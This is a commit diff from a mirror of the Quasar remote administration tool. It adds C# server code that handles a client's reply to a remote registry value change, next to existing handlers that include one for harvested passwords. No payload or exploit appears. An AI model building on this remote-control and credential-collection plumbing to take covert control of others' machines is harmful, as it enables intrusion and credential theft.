mirror of https://github.com/quasar/Quasar.git
Added server code for handling the response to a registry value modification.
This commit is contained in:
parent
faa8e870d2
commit
dc7b85dc4a
|
@ -26,6 +26,7 @@ internal class RegistryValueLstItem : ListViewItem
|
|||
{
|
||||
private string _regName { get; set; }
|
||||
private string _type { get; set; }
|
||||
private string _data { get; set; }
|
||||
|
||||
public string RegName {
|
||||
get { return _regName; }
|
||||
|
@ -45,7 +46,15 @@ internal class RegistryValueLstItem : ListViewItem
|
|||
}
|
||||
}
|
||||
|
||||
public string Data { get; set; }
|
||||
public string Data {
|
||||
get { return _data; }
|
||||
set
|
||||
{
|
||||
//Temp solution
|
||||
this.SubItems[2].Text = value;
|
||||
_data = value;
|
||||
}
|
||||
}
|
||||
|
||||
public RegistryValueLstItem(string name, string type, string data) :
|
||||
base()
|
||||
|
|
|
@ -153,6 +153,26 @@ public static void HandleRenameRegistryValue(xServer.Core.Packets.ClientPackets.
|
|||
catch { }
|
||||
}
|
||||
|
||||
public static void HandleChangeRegistryValue(xServer.Core.Packets.ClientPackets.GetChangeRegistryValueResponse packet, Client client)
|
||||
{
|
||||
try
|
||||
{
|
||||
// Make sure that the client is in the correct state to handle the packet appropriately.
|
||||
if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing)
|
||||
{
|
||||
if (!packet.IsError)
|
||||
{
|
||||
client.Value.FrmRe.ChangeValueFromList(packet.KeyPath, packet.Value);
|
||||
}
|
||||
else
|
||||
{
|
||||
client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
#endregion
|
||||
}
|
||||
}
|
||||
|
|
|
@ -94,6 +94,10 @@ public static void HandlePacket(Client client, IPacket packet)
|
|||
{
|
||||
CommandHandler.HandleRenameRegistryValue((ClientPackets.GetRenameRegistryValueResponse)packet, client);
|
||||
}
|
||||
else if (type == typeof(ClientPackets.GetChangeRegistryValueResponse))
|
||||
{
|
||||
CommandHandler.HandleChangeRegistryValue((ClientPackets.GetChangeRegistryValueResponse)packet, client);
|
||||
}
|
||||
else if (type == typeof(ClientPackets.GetPasswordsResponse))
|
||||
{
|
||||
CommandHandler.HandleGetPasswordsResponse(client, (ClientPackets.GetPasswordsResponse)packet);
|
||||
|
|
Loading…
Reference in New Issue